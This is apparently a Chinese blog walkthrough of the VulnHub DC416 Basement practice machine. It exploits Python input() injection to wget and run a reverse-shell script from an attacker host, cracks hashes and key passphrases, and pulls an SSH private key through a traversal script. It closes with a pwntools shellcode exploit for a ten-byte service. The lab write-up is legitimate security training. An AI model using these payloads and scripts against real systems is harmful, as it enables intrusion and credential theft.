vulnhub-DC416 Basement靶机渗透流程

参考wp:https://firefart.at/post/vulnhub_dc416_basement/
https://habr.com/en/articles/318998/


靶机信息

https://www.vulnhub.com/entry/dc416-2016,168/

这次的靶机属于DC416-2016系列中的其中一个

在这里插入图片描述


一、靶机信息搜集

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

确认靶机ip为192.168.7.159,开启的端口包括22、80、8080、8090、10000、10001


二、10000端口漏洞

先去80端口看下,发现靶机概述,提醒我们有5个flag,这里我尝试了下,80端口没有可利用的漏洞点

在这里插入图片描述

先看看10000端口,这个端口号一般是webdav服务,这里用nc进行连接下

在这里插入图片描述

可以发现这个端口会要求输入发包数,并对自己进行ping。而输入非法值后可以发现其调用了python脚本且用input方法接收输入值,而input会直接解析接收的数据

所以这里可以输入一段python代码测试下

__import__('os').system('ls')

在这里插入图片描述

可以看到直接执行了,那么依次执行下载反弹shell脚本、给脚本执行权限并运行脚本的步骤即可获取到shell

__import__('os').system('wget -O /tmp/re.sh http://192.168.7.133:4445/re.sh')
__import__('os').system('chmod 777 /tmp/re.sh')
__import__('os').system('/tmp/re.sh')

在这里插入图片描述

在这里插入图片描述

拿下第一个flag:flag{j4cks_t0t4L_l4cK_0f_$uRpr1sE}

在这里插入图片描述


三、hash解密

首先看看/etc/passwd和/home路径下确认下用户有哪些

在这里插入图片描述

可以看到主要是四个用户jack、marla、robert和tyler

我先尝试了下常见的后渗透提权方法,内核漏洞和suid、sudo命令没有利用点

那就寻找下可疑文件,jack的家目录下有隐藏文件夹.secret,进去可以看到一个疑似跟marla用户有关的xip后缀文件

在这里插入图片描述

靶机开启SimpleHTTPServer,攻击机下载该文件

python -m SimpleHTTPServer 4445

在这里插入图片描述

在这里插入图片描述

下载下来后查看下文件类型为data,且大小为4k,不太像百度搜到的可执行文件的后缀,直接运行也会报错

在这里插入图片描述

这里其实是两种文件名的组合后缀形式,代表着xor加密后的zip文件

所以可以用xor解密工具xortool来对文件进行解密操作

xortool -b marla.xip

在这里插入图片描述

这里xortool列出了256个可能的xor密钥并分别尝试解密,解密后的结果可以在xortool_out文件夹下查看

在这里插入图片描述

用file查看这些文件格式,发现000.out正是我们需要的zip文件,因此正确的xor密钥即是M4YH3M

在这里插入图片描述

将000.out改名为marla.zip后解压,发现是7z格式且有密码

在这里插入图片描述

用zip2john将其转为加密的hash值,注意这里的值必须保证格式为以$zip2开头,zip2$结尾,删除头尾的文件名

在这里插入图片描述

在这里插入图片描述

用hashcat破解,指定zip加密类型,因为该破解时间很长,参数指定会话名便于保存后继续爆破
这里需要注意下中途退出的保存方式是先按p暂停后按q退出

hashcat -a 3 -m 13600 marla.zip.hash --session mydz          (开始任务)
hashcat -a 3 -m 13600 --session mydz --restore               (继续任务)

在这里插入图片描述

在这里插入图片描述

1亿6千多万次破解,耗时数天,建议爆破这步直接跳过,密码是m4rl4,用这个去解压后获得两个文件marla和marla.pub

在这里插入图片描述

查看内容发现是ssh的公钥与私钥,尝试连接发现密钥内置还有密码

在这里插入图片描述

用ssh2john将私钥转换为hash后用john破解,得到密码为singer

在这里插入图片描述

用私钥和密码登录,返回了第二个flag:flag{l4y3rs_up0n_l4y3rs}

在这里插入图片描述


四、8090端口本地利用

在反弹shell中用ps aux查看下本地的进程信息,发现几个用户下执行的进程

在这里插入图片描述

因为显示不全,这里用ps aux|less查看下几个进程的详细信息

在这里插入图片描述

在这里插入图片描述

这里有三个值得注意的点,首先robert用户在10001端口上开启了一个tenbytes的服务,而marla用户则将一个叫flag.wav的音频文件无限循环发送到本地的8090端口,最后tyler用户似乎在8080端口运行一个tiny的脚本文件

而在之前的nmap扫描中其实可以看到这个端口的协议是http,所以用curl尝试下从外部能否看到这个端口的信息,发现8090端口上的文件名为flag.mpg

在这里插入图片描述

那既然外部无法获取,就试下在shell内本地下载

在这里插入图片描述

下载成功,这里要注意因为其无限循环发送的特性,必须手动中断下载进程,否则会一直下载下去

照例靶机开SimpleHTTP后攻击机下载该文件

在这里插入图片描述

在这里插入图片描述

听了之后发现其重复循环一段数字:102 108 97 103 123 98 82 52 105 110 95 112 97 82 97 115 49 116 101 36 125

猜测是ascii码加密,用cyberchef解密得到第三个flag:flag{bR4in_paRas1te$}

在这里插入图片描述


五、brainfuck加密

根据之前nmap的扫描结果来看,8080端口也是http服务,用curl去获取网页,回显为一个meme的点阵图,head中有熟悉的brainfuck加密信息

在这里插入图片描述

在这里插入图片描述

解密后得到信息webf

在这里插入图片描述

结合我们之前发现的进程信息,猜测8080端口上运行的是tiny-web-server的服务,而通过searchsploit模块搜索可以发现这个服务有目录遍历的漏洞

在这里插入图片描述

用tiny-web-server的方式发送GET请求,返回值依然是brainfuck加密后的webf

在这里插入图片描述

猜测可能发送的请求也要进行brainfuck加密,将请求加密后重新发送,成功获取到/etc/passwd值

在这里插入图片描述

这里用了一个python脚本来将字典加密后尝试枚举敏感文件并下载到本地,python代码如下:

#!/usr/bin/env python3

import http.client
from time import sleep

def sf(filename, data):
    with open(filename, 'wb') as f:
        f.write(data)

def rf(filename):
    with open(filename, 'rt') as f:
        return f.readlines()

wordlist = "/usr/share/wordlists/dirb/common.txt"

def char2bf(char):
    result_code = ""
    ascii_value = ord(char)
    factor = ascii_value / 10
    remaining = ascii_value % 10
    result_code += "{}".format("+" * 10)
    result_code += "["
    result_code += ">"
    result_code += "{}".format("+" * int(factor))
    result_code += "<"
    result_code += "-"
    result_code += "]"
    result_code += ">"
    result_code += "{}".format("+" * remaining)
    result_code += "."
    result_code += "[-]"
    return result_code

def str2bf(string):
    result = ""
    for char in string:
        result += char2bf(char)
    return result

words = rf(wordlist)
counter = 1

for w in words:
    w = w.strip()
    filename = str2bf(w)
    try:
        conn = http.client.HTTPConnection("192.168.7.159", 8080)
        conn.request("GET", filename)
        resp = conn.getresponse()
        data = resp.read().strip()
        if b"404: Not Found" in data:
            print("File {} not found".format(w))
        else:
            filename = "{}_{}.loot".format(counter, w.replace("/", "_"))
            sf(filename, data)
            print("File {} saved!!!!!!".format(w))
    except http.client.IncompleteRead:
        print("File {} returned an error (most likely it's a directory)".format(w))
        print("This request crashed the webserver so let's wait a little ....")
        sleep(30)
    finally:
        if conn:
            conn.close()
    counter += 1

运行后在.ssh处崩溃,很可能是存在.ssh目录无法下载,所以可以尝试获取id_rsa文件

在这里插入图片描述

将上述python代码中的words值改为.ssh/id_rsa,尝试下载,成功拿到tyler的id_rsa

在这里插入图片描述

在这里插入图片描述

尝试用私钥登录tyler用户,这次没有密码,直接获取到第四个flag:flag{l3t_Th3_cH1P$_f4LL_wH3Re_tHey_m4y}

在这里插入图片描述

在这里插入图片描述


六、blind shellcode

最后还剩一个10001端口,之前的进程信息可以看出其运行的是一个叫tenbytes的服务,尝试下本地连接该端口

在这里插入图片描述

提示输入一个十字节的代码进行运行,猜测存在某种溢出漏洞的命令,因为jack用户没有该脚本权限故无法对命令进行直接分析,尝试编写个python脚本生成blind shellcode来尝试注入

python脚本代码如下:

#!/usr/bin/env python2

from pwn import *

context(bits = 64,
        os = 'linux',
        aslr = True,
)

port = 10001
host = '127.0.0.1'

def encode_payload(p):
        return ''.join(['\\x%0.2x' % c for c in bytearray(p)])

def gen_payload(offset):
        payload = ""
        payload += "\x01\xd2"                     # add edx, edx
        payload += "\x5f"                         # pop rdi
        payload += "\x48\x83\xef" + chr(offset)   # sub rdi, offset
        payload += "\xff\xe7"                     # jmp rdi
        payload = payload.ljust(10, "\x90")
        return payload

isEdxValid = False
validEdx = 80   # len(shell)==48
while isEdxValid == False:
        offset = 0
        while offset <= 255:
                try:
                        log.info('Current offset is %d' % offset)
                        p = remote(host, port)
                        payload = gen_payload(offset)
                        log.info( 'Payload: %s' % (encode_payload(payload)) )
                        p.recvline()

                        EDX = 0x0a
                        while EDX < validEdx:
                                p.send(payload)
                                EDX += EDX
                        log.info('EDX now is %d' % EDX)

                        shell = ""
                        shell += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
                        shell += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
                        shell += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
                        shell += "\x00\x56\x57\x48\x89\xe6\x0f\x05"

                        log.info('Sending shellcode')
                        p.send(shell)

                        # check for no tty message
                        p.sendline()
                        output = p.recvline(timeout=0.5)
                        if output and 'tty' in output:
                                log.success('Found offset!!! %d' % offset)
                                isEdxValid = True
                                break

                        if offset == 255:
                                log.error('No valid offset found!')
                                isEdxValid = False
                                count += 1
                        p.close()
                except EOFError:
                        log.warning('Error on offset %d' % offset)
                        p.close()
                finally:
                        offset += 1
        validEdx += validEdx

p.interactive()

靶机下载python脚本后尝试运行失败,提示缺少依赖

在这里插入图片描述

把依赖全部下下来后放在同一目录下重新运行python脚本,成功获取到robert用户的shell

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在robert家目录下获取到最后一个flag:flag{t3N_byt3$_0ugHt_t0_b3_eN0uGh_f0R_4nyb0dY}

在这里插入图片描述


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值